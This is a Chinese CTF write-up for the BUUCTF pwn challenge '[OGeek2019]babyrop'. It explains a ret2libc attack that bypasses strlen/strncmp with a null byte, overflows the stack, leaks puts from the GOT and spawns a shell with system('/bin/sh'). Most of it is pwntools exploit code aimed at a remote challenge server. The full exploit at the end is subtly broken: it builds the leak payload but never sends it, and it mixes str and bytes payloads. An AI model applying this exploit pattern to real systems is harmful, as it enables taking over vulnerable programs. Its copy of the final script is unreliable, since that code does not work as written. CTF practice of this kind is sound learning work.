buuctf pwn [OGeek2019]babyrop_wp
网上很多wp已经不适用了,所以来更新一波XD
0x00 知识点
- ret2libc
- 提供libc的打法
- 绕过strlen & strncmp函数
0x01 解题步骤
不贴图了,按伪代码顺序来
- fd是urandom库生成的随机数
- 将fd读4位进buf
- 将buf作为参数传进函数A,在A中称作a1
- 将a1读进s
- 用户输入buf,但限制读入长度0x20,无法溢出;但可以考虑泄露
- v1赋值为buf的长度,绕过strlen & strncmp函数可以用’\x00’
- 返回buf[7],传入函数B,在B中称作a1,是read的检测长度,如果足够长可以构造溢出
于是函数A中的read我们有思路了,即
1. 绕过strlen
2. 返回buf[7]越大越好
payload = '\x00' + '\xff' * 7
io.sendline(payload) # Q1:为什么非得是sendline而不能是send?
io.recvuntil(b"Correct\n")
- B中观察栈的结构可知,我们可以用0xE7+4的垃圾数据抵达返回地址
- 由于string中并没有找到system(‘/bin/sh’),而题目提供了libc,所以我们可以泄露libc基地址;由于函数B结束后程序即将结束,我们已经没有溢出的点了,所以考虑将main作为返回地址,再来提供一次溢出,所以考虑构造payload2:
xxxxxx
xxxxxx<-----垃圾数据
puts_plt<---调用puts
main_addr<--将puts的返回地址压栈,即将eip的下一条指令压栈
puts_got<---将puts的参数弹给puts
junk = 0xE7 + 4
# payload = b'a'*junk + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
payload = b'a'*junk + p32(puts_plt) + p32(main_addr) + p32(puts_got) # Q2: puts为什么不会打印后面的内容了?为什么puts_got后面一定是可以被转换为0a的00?
io.send(payload)
puts_addr = u32(io.recv(4))
print('puts_addr ---> ',hex(puts_addr))
# 注1:puts(const char* arg1)一直打印,直到遇到'\0',丢弃'\0'并输出'\n'
# 注2:sszie_t write(fd,const char* src,length) (fd=1,length=32/8 or 64/8)
- 泄露libc地址后,泄露
system
和/bin/sh
的地址
offset = puts_addr - libc.sym['puts']
sys_addr = offset + libc.sym['system']
bin_sh = offset + next(libc.search(b'/bin/sh'))
- 再进行一次绕过strncmp
payload = '\x00' + '\xff' * 7
io.sendline(payload)
io.recvuntil(b"Correct\n")
- 最后提权
payload = b'a'* junk + p32(sys_addr) + p32(0) + p32(bin_sh) # 细节2:覆盖返回地址时,32位需要在栈上补充返回地址
# Q3:为什么?
io.send(payload)
io.interactive()
- 最后贴一下全部exp
from pwn import *
from LibcSearcher import *
io = remote('node4.buuoj.cn',26218)
# context(os='linux', arch='i386', log_level='debug')
elf = ELF('./pwn')
libc = ELF('libc-2.23.so')
context.log_level = 'debug'
puts_got =elf.got['puts']
puts_plt =elf.plt['puts']
main_addr = 0x08048825
payload = '\x00' + '\xff' * 7
io.sendline(payload)
io.recvuntil(b"Correct\n")
junk = 0xE7 + 4
payload = b'a'*junk + p32(puts_plt) + p32(main_addr) + p32(puts_got)
puts_addr = u32(io.recv(4))
print('puts_addr ---> ',hex(puts_addr))
offset = puts_addr - libc.sym['puts']
sys_addr = offset + libc.sym['system']
bin_sh = offset + next(libc.search(b'/bin/sh'))
payload = '\x00' + '\xff' * 7
io.sendline(payload)
io.recvuntil(b"Correct\n")
payload = b'a'* junk + p32(sys_addr) + p32(0) + p32(bin_sh)
io.send(payload)
io.interactive()
0x02 一些思考
- 本题还可以有以下几种打法
- 泄露地址方面:不仅可以用puts,还可以用write;讲道理一切能输出到终端的函数都可以利用来泄露内容,后续慢慢探索
- 泄露地址后,我们可以用og进行提权
- 一些工具的使用
- flat可以用来构造payload
0x03 一些问题
- 0x01 中第七步payload,为什么在send时只能是sendline,我看received的结果明明都一样啊
- 0x01 中第九步payload,puts为什么不会打印后面的内容了(代码底部’注2’)?为什么puts_got后面一定是可以被转换为0a的00?
- 0x01 中第12步payload,为什么需要sys_addr + 0 + bin_sh,这个0是sys_addr的返回地址吗?
- 网上很多博客都用LibcSearcher,可是我在将LibcSearcher数据库更新到最新版本以后还是无法查到对应libc库,很奇怪